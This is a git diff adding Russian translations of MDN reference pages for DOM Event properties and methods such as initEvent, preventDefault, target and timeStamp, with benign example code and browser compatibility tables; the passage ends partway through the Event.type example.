+ </tbody>
+</table>
+</div>
+
+<p>[1] До Firefox 52, это свойство было определено в интерфейсе {{domxref("UIEvent")}}. Для деталей смотрите {{bug(1298970)}}.</p>
+
+<h2 id="See_also" name="See_also">Смотрите так же</h2>
+
+<ul>
+ <li>Типы событий: <a href="/en-US/docs/Web/Reference/Events">Event reference</a></li>
+ <li><a href="/en-US/docs/Web/API/Event/Comparison_of_Event_Targets">Сравнение Event Targets</a> (target и currentTarget и relatedTarget и originalTarget)</li>
+ <li><a href="/en-US/docs/Web/Guide/DOM/Events/Creating_and_triggering_events">Creating and triggering custom events</a></li>
+ <li>Для разработчиков дополнений Firefox:
+  <ul>
+   <li><a href="/en-US/docs/Listening_to_events_in_Firefox_extensions">Listening to events in Firefox extensions</a></li>
+   <li><a href="/en-US/docs/Listening_to_events_on_all_tabs">Listening to events on all tabs</a></li>
+  </ul>
+ </li>
+ <li><a class="link-https" href="https://wiki.mozilla.org/Events">Mozilla related events in real life at wiki.mozilla.org</a></li>
+</ul>
diff --git a/files/ru/web/api/event/initevent/index.html b/files/ru/web/api/event/initevent/index.html
new file mode 100644
index 0000000000..a3c18c08a3
--- /dev/null
+++ b/files/ru/web/api/event/initevent/index.html
@@ -0,0 +1,78 @@
+---
+title: Event.initEvent()
+slug: Web/API/Event/initEvent
+translation_of: Web/API/Event/initEvent
+---
+<div>{{ ApiRef("DOM") }}{{deprecated_header}}</div>
+
+<p>The <strong><code>Event.initEvent()</code></strong> method is used to initialize the value of an {{ domxref("event") }} created using {{ domxref("Document.createEvent()") }}.</p>
+
+<p>Events initialized in this way must have been created with the {{ domxref("Document.createEvent()") }} method. This method must be called to set the event before it is dispatched, using {{ domxref("EventTarget.dispatchEvent()") }}. Once dispatched, it doesn't do anything anymore.</p>
+
+<div class="note">
+<p><strong>Не используйте этот метод, т.к. он устаревший. (deprecated)</strong></p>
+
+<p>Вместо него используйте такой специальный конструктор событий, как {{domxref("Event.Event", "Event()")}}. Страница <a href="/en-US/docs/Web/Guide/Events/Creating_and_triggering_events">Creating and triggering events</a> даст больше информации о возможностях использования.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>event</em>.initEvent(<em>type</em>, <em>bubbles</em>, <em>cancelable</em>);</pre>
+
+<dl>
+ <dt><em><code>type</code></em></dt>
+ <dd>{{domxref("DOMString")}}, определяющая тип события.</dd>
+ <dt><em><code>bubbles</code></em></dt>
+ <dd>Is a {{jsxref("Boolean")}} deciding whether the event should bubble up through the event chain or not. Once set, the read-only property {{ domxref("Event.bubbles") }} will give its value.</dd>
+ <dt><em><code>cancelable</code></em></dt>
+ <dd>Is a {{jsxref("Boolean")}} defining whether the event can be canceled. Once set, the read-only property {{ domxref("Event.cancelable") }} will give its value.</dd>
+</dl>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre><code>// Create the event.
+var event = document.createEvent('Event');
+</code>
+// Create a click event that bubbles up and
+// cannot be canceled <code>
+event.initEvent('click', true, false);
+
+// Listen for the event.
+elem.addEventListener('click', function (e) {
+  // e.target matches elem
+}, false);
+
+elem.dispatchEvent(event);</code>
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-event-initevent','Event.initEvent()')}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td>Начиная с {{SpecName('DOM2 Events')}} - deprecated, заменено на event constructors.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Events','##Events-Event-initEvent','Event.initEvent()')}}</td>
+   <td>{{Spec2('DOM2 Events')}}</td>
+   <td>Начальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{Compat("api.Event.initEvent")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>The constructor to use instead of this deprecated method: {{domxref("Event.Event", "Event()")}}. More specific constructors can be used too.</li>
+</ul>
diff --git a/files/ru/web/api/event/istrusted/index.html b/files/ru/web/api/event/istrusted/index.html
new file mode 100644
index 0000000000..db7ab78c4d
--- /dev/null
+++ b/files/ru/web/api/event/istrusted/index.html
@@ -0,0 +1,109 @@
+---
+title: Event.isTrusted
+slug: Web/API/Event/isTrusted
+translation_of: Web/API/Event/isTrusted
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p><code>isTrusted</code> - свойство объекта {{domxref("Event")}}, доступное только на чтение. Принимает значение true, если событие было инициировано действиями пользователя, и false, если событие было создано или изменено скриптом, либо с помощью dispatchEvent</p>
+
+<h2 id="Syntax" name="Syntax">Синтакс</h2>
+
+<pre class="syntaxbox">var bool = event.isTrusted;
+</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<pre> if (e.isTrusted) {
+     /* The event is trusted. */
+ } else {
+     /* The event is not trusted. */
+ }
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-event-istrusted', 'Event.isTrusted')}}</td>
+   <td>{{ Spec2('DOM WHATWG') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events', '#trusted-events', 'Trusted events')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+   <td>Добавлены требования для определения значения свойства.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM4', '#dom-event-istrusted', 'Event.isTrusted')}}</td>
+   <td>{{Spec2('DOM4')}}</td>
+   <td>Первичное описание.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(46.0)}} [1]</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}} [2]</td>
+   <td>{{CompatOpera(33)}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(46.0)}} [1]</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOperaMobile(33)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(46.0)}} [1]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1]  В Chrome, начиная с версии 53, события с isTrusted = false не вызывают действия по умолчанию. </p>
+
+<p>[2] В Internet Explorer, все события имеют свойство isTrusted  = true, за исключением созданных с помощью метода  <code>createEvent()</code>.</p>
diff --git a/files/ru/web/api/event/preventdefault/index.html b/files/ru/web/api/event/preventdefault/index.html
new file mode 100644
index 0000000000..de7b9c69c1
--- /dev/null
+++ b/files/ru/web/api/event/preventdefault/index.html
@@ -0,0 +1,145 @@
+---
+title: Event.preventDefault()
+slug: Web/API/Event/preventDefault
+tags:
+  - DOM
+  - preventDefault
+  - метод
+  - события
+translation_of: Web/API/Event/preventDefault
+---
+<div>{{ apiRef("DOM") }}</div>
+
+<div>Метод preventDefault () интерфейса {{domxref ("Event")}} сообщает {{Glossary("User agent")}}, что если событие не обрабатывается явно, его действие по умолчанию не должно выполняться так, как обычно. Событие продолжает распространяться как обычно, до тех пор, пока один из его обработчиков не вызывает методы {{domxref ("Event.stopPropagation", " stopPropagation ()")}} или {{domxref (" Event.stopImmediatePropagation", " stopImmediatePropagation ()")}}, любой из которых сразу же прекращает распространение.</div>
+
+<div></div>
+
+<div>Как отмечено ниже, вызов метода preventDefault () для события, не подлежащего отмене, например события, отправленного через {{domxref("EventTarget.dispatchEvent ()")}}, без указания cancelable: true не имеет эффекта.</div>
+
+
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>event</em>.preventDefault();</pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<p>По умолчанию щелчок по флажку переключает его состояние на противоположное. В этом примере показано, как предотвратить такое поведение:</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;Пример preventDefault&lt;/title&gt;
+
+&lt;script&gt;
+function stopDefAction(evt) {
+    evt.preventDefault();
+}
+
+document.getElementById('my-checkbox').addEventListener(
+    'click', stopDefAction, false
+);
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+
+&lt;p&gt;Пожалуйста, щёлкните по флажку.&lt;/p&gt;
+
+&lt;form&gt;
+    &lt;input type="checkbox" id="my-checkbox" /&gt;
+    &lt;label for="my-checkbox"&gt;Checkbox&lt;/label&gt;
+&lt;/form&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>Вы можете посмотреть работу <code>preventDefault</code> в действии <a class="internal" href="/samples/domref/dispatchEvent.html" title="samples/domref/dispatchEvent.html">здесь</a>.</p>
+
+<p>В следующем примере некорректный ввод останавливается и вводимый символ не добавляется в поле с <code>preventDefault()</code>.</p>
+
+<div id="preventDefault_invalid_text">
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;Пример preventDefault&lt;/title&gt;
+
+&lt;script&gt;
+</pre>
+
+<pre class="brush: js">function Init () {
+    var myTextbox = document.getElementById('my-textbox');
+    myTextbox.addEventListener( 'keypress', checkName, false );
+}
+
+function checkName(evt) {
+    var charCode = evt.charCode;
+    if (charCode != 0) {
+        if (charCode &lt; 97 || charCode &gt; 122) {
+            evt.preventDefault();
+            alert(
+                "Пожалуйста, используйте только буквы нижнего регистра на латинице"
+                + "\n" + "charCode: " + charCode + "\n"
+            );
+        }
+    }
+}
+</pre>
+
+<pre class="brush: html">&lt;/script&gt;
+&lt;/head&gt;
+&lt;body onload="Init ()"&gt;
+    &lt;p&gt;Пожалуйста, введите своё имя, используя только буквы нижнего регистра на латинице.&lt;/p&gt;
+    &lt;form&gt;
+        &lt;input type="text" id="my-textbox" /&gt;
+    &lt;/form&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+</div>
+
+<p>Результат выполнения кода:</p>
+
+<p>{{ EmbedLiveSample('preventDefault_invalid_text', '', '', '') }}</p>
+
+<h2 id="Notes" name="Notes">Примечания</h2>
+
+<p>Вызов <code>preventDefault</code> на любой стадии выполнения  потока событий отменяет событие, а это означает, что любое действие по умолчанию обычно принимается реализацией, как  результат события, которое  не произойдет.</p>
+
+<div class="note">
+<p><strong>Примечание:</strong>  В {{Gecko("6.0")}}, вызов <code>preventDefault()</code> приводит к {{ domxref("event.defaultPrevented") }} к переходу значения в состояние <code>True</code>.</p>
+</div>
+
+<p>Вы можете использовать <a href="/en-US/docs/Web/API/event.cancelable" title="/en-US/docs/Web/API/event.cancelable">event.cancelable</a> чтобы проверить, является ли событие отменяемым. Вызов <code>preventDefault</code> для неотменяемых событий не имеет никакого эффекта.</p>
+
+<p><code>preventDefault</code> не останавливает дальнейшее распространение событий на DOM. Для этого следует использовать <a href="/en-US/docs/Web/API/event.stopPropagation" title="/en-US/docs/Web/API/event.stopPropagation">event.stopPropagation</a>.</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-event-preventdefault', 'Event.preventDefault()')}}</td>
+   <td>{{ Spec2('DOM WHATWG') }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM4', '#dom-event-preventdefault', 'Event.preventDefault()')}}</td>
+   <td>{{ Spec2('DOM4') }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Events', '#Events-Event-preventDefault', 'Event.preventDefault()')}}</td>
+   <td>{{ Spec2('DOM2 Events') }}</td>
+   <td>
+    <p>первичное определение.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ru/web/api/event/srcelement/index.html b/files/ru/web/api/event/srcelement/index.html
new file mode 100644
index 0000000000..813fcf0c69
--- /dev/null
+++ b/files/ru/web/api/event/srcelement/index.html
@@ -0,0 +1,74 @@
+---
+title: Event.srcElement
+slug: Web/API/Event/srcElement
+translation_of: Web/API/Event/srcElement
+---
+<p>{{ApiRef("DOM")}}</p>
+
+<p>{{ Non-standard_header() }}</p>
+
+<p><strong><code>Event.srcElement</code></strong> это проприетарный синоним стандартного свойства {{domxref("Event.target")}}. Специфичен для старых версий Microsoft Internet Explorer.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<p>Не является частью каких-либо спецификаций.</p>
+
+<p>Имеет <a href="https://msdn.microsoft.com/en-us/library/ff974945(v=vs.85).aspx">описание от Microsoft на MSDN</a>.</p>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1]: {{bug(453968)}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("Window.event")}}</li>
+</ul>
diff --git a/files/ru/web/api/event/stopimmediatepropagation/index.html b/files/ru/web/api/event/stopimmediatepropagation/index.html
new file mode 100644
index 0000000000..177bffde51
--- /dev/null
+++ b/files/ru/web/api/event/stopimmediatepropagation/index.html
@@ -0,0 +1,31 @@
+---
+title: Event.stopImmediatePropagation()
+slug: Web/API/Event/stopImmediatePropagation
+tags:
+  - API
+  - Gecko DOM Reference
+  - NeedsBrowserCompatibility
+  - stopImmediatePropagation
+  - Событие
+  - Ссылка
+  - Уровень 3
+  - Экспериментальные функции
+  - метод
+translation_of: Web/API/Event/stopImmediatePropagation
+---
+<p id="Summary">{{APIRef("DOM")}}</p>
+
+<p>Останавливает цепочку вызова событий для последующих слушателей DOM элемента.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="eval"><em>event</em>.stopImmediatePropagation();
+</pre>
+
+<h2 id="Notes" name="Notes">Замечания</h2>
+
+<p>Если несколько слушателей прикреплены к одному и тому же элементу с одинаковым типом события, тогда они будут вызваны в порядке своего добавления. Если один из этих слушателей вызовет <span style="font-family: consolas,monaco,andale mono,monospace; line-height: 19.0909080505371px;">event.stopImmediatePropagation() тогда события оставшихся слушателей вызваны не будут.</span></p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#events-event-type-stopImmediatePropagation">DOM Level 3 Events: stopImmediatePropagation</a></p>
diff --git a/files/ru/web/api/event/stoppropagation/index.html b/files/ru/web/api/event/stoppropagation/index.html
new file mode 100644
index 0000000000..085d9b3907
--- /dev/null
+++ b/files/ru/web/api/event/stoppropagation/index.html
@@ -0,0 +1,69 @@
+---
+title: Event.stopPropagation()
+slug: Web/API/Event/stopPropagation
+tags:
+  - API
+  - DOM
+  - Gecko
+  - stopPropagation
+  - Событие
+  - метод
+translation_of: Web/API/Event/stopPropagation
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Прекращает дальнейшую передачу текущего события.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>event</em>.stopPropagation();</pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<p>См. Пример 5: <a href="https://developer.mozilla.org/en-US/docs/DOM/DOM_Reference/Examples#Example_5:_Event_Propagation" title="Gecko_DOM_Reference/Examples#Example_5:_Event_Propagation">Event Propagation</a>  для более детального объяснения данного метода и всего механизма передачи событий в DOM документе.</p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-event-stoppropagation', 'Event.stopPropagation()')}}</td>
+   <td>{{ Spec2('DOM WHATWG') }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM4', '#dom-event-stoppropagation', 'Event.stopPropagation()')}}</td>
+   <td>{{ Spec2('DOM4') }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Events', '#Events-Event-stopPropagation', 'Event.stopPropagation()')}}</td>
+   <td>{{ Spec2('DOM2 Events') }}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div id="compat-mobile">
+<p>{{Compat("api.Event.stopPropagation")}}</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>
+  <p>Смотрите <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-flow-capture">DOM specification</a> для понимания потока событий. (<a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#event-flow" title="http://www.w3.org/TR/DOM-Level-3-Events/#event-flow">DOM Level 3 Events draft</a> содержит иллюстрации.)</p>
+ </li>
+ <li>
+  <p>{{domxref("Event.preventDefault()")}} – это дополнительный метод, который запрещает исполнение метода по умолчанию, предназначенного для данного события.</p>
+ </li>
+</ul>
diff --git a/files/ru/web/api/event/target/index.html b/files/ru/web/api/event/target/index.html
new file mode 100644
index 0000000000..86b20f406f
--- /dev/null
+++ b/files/ru/web/api/event/target/index.html
@@ -0,0 +1,135 @@
+---
+title: Event.target
+slug: Web/API/Event/target
+tags:
+  - Событие
+translation_of: Web/API/Event/target
+---
+<p>{{ApiRef("DOM")}}</p>
+
+<p>Свойство <code><strong>target</strong></code> интерфейса {{domxref ("Event")}} является ссылкой на объект, который был инициатором события. Он отличается от {{domxref ("Event.currentTarget")}}, если обработчик события вызывается во время всплытия (bubbling) или захвата события.</p>
+
+<p id="Синтаксис">Синтаксис</p>
+
+<pre class="syntaxbox notranslate">theTarget = event.target</pre>
+
+<p>Значение:</p>
+
+<p>{{domxref("EventTarget")}}</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Свойство <code>event.target</code> может быть использовано для реализации <strong>делегирования событий</strong>.</p>
+
+<pre class="notranslate">// Создадим список
+var ul = document.createElement('ul');
+document.body.appendChild(ul);
+
+var li1 = document.createElement('li');
+var li2 = document.createElement('li');
+ul.appendChild(li1);
+ul.appendChild(li2);
+
+function hide(e){
+  // e.target ссылается на кликнутый &lt;li&gt; элемент
+  // Он отличается от e.currentTarget который будет ссылаться на родительский &lt;ul&gt; в этом контексте
+  e.target.style.visibility = 'hidden';
+}
+
+// Назначим обработчик к списку
+// Он будет вызван когда кликнут на любой &lt;li&gt;
+ul.addEventListener('click', hide, false);</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Specification</th>
+   <th>Status</th>
+   <th>Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-event-target", "Event.target")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM4", "#dom-event-target", "Event.target")}}</td>
+   <td>{{Spec2("DOM4")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Events", "#Events-Event-target", "Event.target")}}</td>
+   <td>{{Spec2("DOM2 Events")}}</td>
+   <td>Первоначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузеров">Поддержка браузеров</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Примечания">Примечания</h2>
+
+<p>В IE 6-8 модель событий отличается. Обработчики событий назначаются с помощью нестандартного {{domxref('EventTarget.attachEvent')}} метода. При этом в объекте события есть свойство {{domxref('Event.srcElement')}}, вместо <code>target</code> свойства, но по смыслу оно индентично <code>event.target</code>.</p>
+
+<pre class="brush: js notranslate">function hide(e) {
+  // Поддержка IE 6-8
+  var target = e.target || e.srcElement;
+  target.style.visibility = 'hidden';
+}
+</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Event/Comparison_of_Event_Targets">Comparison of Event Targets</a></li>
+</ul>
diff --git a/files/ru/web/api/event/timestamp/index.html b/files/ru/web/api/event/timestamp/index.html
new file mode 100644
index 0000000000..6a79557c96
--- /dev/null
+++ b/files/ru/web/api/event/timestamp/index.html
@@ -0,0 +1,103 @@
+---
+title: Event.timeStamp
+slug: Web/API/Event/timeStamp
+translation_of: Web/API/Event/timeStamp
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><span id="result_box" lang="ru"><span>Возвращает время (в миллисекундах), в котором было создано событие.</span></span></p>
+
+<div class="note">
+<p><strong>Примечание: </strong><span id="result_box" lang="ru"><span>Это свойство работает только в том случае, если система событий поддерживает его для конкретного события.</span></span></p>
+</div>
+
+<h2 id="Синтаксис"><span class="short_text" id="result_box" lang="ru"><span>Синтаксис</span></span></h2>
+
+<pre class="syntaxbox"><var>event</var>.timeStamp
+</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>Значение - это миллисекунды, прошедшие с начала жизненного цикла текущего документа до создания события.</p>
+
+<p>In newer implementations, the value is a {{domxref("DOMHighResTimeStamp")}}  accurate to 5 microseconds (0.005 ms). In older implementations, the value is a {{domxref("DOMTimeStamp")}}, accurate to a millisecond.</p>
+
+<h2 id="Example">Example</h2>
+
+<h3 id="HTML_content">HTML content</h3>
+
+<pre class="brush: html">&lt;p&gt;
+  Focus this iframe and press any key to get the
+  current timestamp for the keypress event.
+&lt;/p&gt;
+&lt;p&gt;timeStamp: &lt;span id="time"&gt;-&lt;/span&gt;&lt;/p&gt;</pre>
+
+<h3 id="JavaScript_content">JavaScript content</h3>
+
+<pre class="brush: js">function getTime(event) {
+  var time = document.getElementById("time");
+  time.firstChild.nodeValue = event.timeStamp;
+}
+document.body.addEventListener("keypress", getTime);</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample("Example", "100%", 100)}}</p>
+
+<h2 id="Reduced_time_precision">Reduced time precision</h2>
+
+<p>To offer protection against timing attacks and fingerprinting, the precision of <code>event.timeStamp</code> might get rounded depending on browser settings.<br>
+ In Firefox, the <code>privacy.reduceTimerPrecision</code>  preference is enabled by default and defaults to 20us in Firefox 59; in 60 it will be 2ms.</p>
+
+<pre class="brush: js">// reduced time precision (2ms) in Firefox 60
+event.timeStamp;
+// 1519211809934
+// 1519211810362
+// 1519211811670
+// ...
+
+
+// reduced time precision with `privacy.resistFingerprinting` enabled
+event.timeStamp;
+// 1519129853500
+// 1519129858900
+// 1519129864400
+// ...
+</pre>
+
+<p>In Firefox, you can also enabled <code>privacy.resistFingerprinting</code>, the precision will be 100ms or the value of <code>privacy.resistFingerprinting.reduceTimerPrecision.microseconds</code>, whichever is larger.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-event-timestamp", "Event.timeStamp")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM4", "#dom-event-timestamp", "Event.timeStamp")}}</td>
+   <td>{{Spec2("DOM4")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Events", "#Events-Event-timeStamp", "Event.timeStamp")}}</td>
+   <td>{{Spec2("DOM2 Events")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Event.timeStamp")}}</p>
diff --git a/files/ru/web/api/event/type/index.html b/files/ru/web/api/event/type/index.html
new file mode 100644
index 0000000000..e9aabbbe88
--- /dev/null
+++ b/files/ru/web/api/event/type/index.html
@@ -0,0 +1,102 @@
+---
+title: Event.type
+slug: Web/API/Event/type
+tags:
+  - API
+  - DOM
+  - Event
+  - Событие
+  - Ссылка
+translation_of: Web/API/Event/type
+---
+<p>{{APIRef}}</p>
+
+<p><code><strong>Event.type</strong></code> - это доступное только для чтения свойство, возвращающее строку, содержащую тип события. Оно устанавливается в момент создания события и это имя обычно используется для ссылки на определенное событие.</p>
+
+<p>Агрумент <em><code>event</code></em> функций {{ domxref("EventTarget.addEventListener()") }} и {{ domxref("EventTarget.removeEventListener()") }} не чувствителен к регистру.</p>
+
+<p>Для получения списка доступных типов событий смотри <a href="/en-US/docs/Web/Events" title="Mozilla event reference">event reference</a></p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">event.type
+</pre>
+
+<h2 id="Example" name="Example">Примеры</h2>
+
+<pre><code><em>var string</em> = event.type;</code>
+</pre>
+
+<pre><em><code>&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;head&gt;
+    &lt;meta charset="utf-8"&gt;</code></em>
+
+<em><code>    &lt;title&gt;Event.type Example&lt;/title&gt;</code></em>
+
+<em><code>    &lt;script&gt;
+        var currEvent = null;</code></em>
+
+<em><code>        function getEvtType(evt) {
+            console.log("//Start------------getEvtType(evt)------------ ");</code></em>
+
+<em><code>            currEvent = evt.type;
+            console.log(currEvent);</code></em>
+
+<em><code>            //document.getElementById("Etype").firstChild.nodeValue = currEvent;
+            document.getElementById("Etype").innerHTML = currEvent;</code></em>
+
+<em><code>            console.log("//End--------------getEvtType(evt)------------ ");
+        }</code></em>
+
+<em><code>        //Keyboard events
+        document.addEventListener("keypress", getEvtType, false); //[second]  </code></em>
+
+<em><code>        document.addEventListener("keydown", getEvtType, false); //first
+        document.addEventListener("keyup", getEvtType, false); //third</code></em>
+
+<em><code>        //Mouse events
+        document.addEventListener("click", getEvtType, false); // third</code></em>
+
+<em><code>        document.addEventListener("mousedown", getEvtType, false); //first
+        document.addEventListener("mouseup", getEvtType, false); //second</code></em>
+
+<em><code>    &lt;/script&gt;
+&lt;/head&gt;</code></em>
+
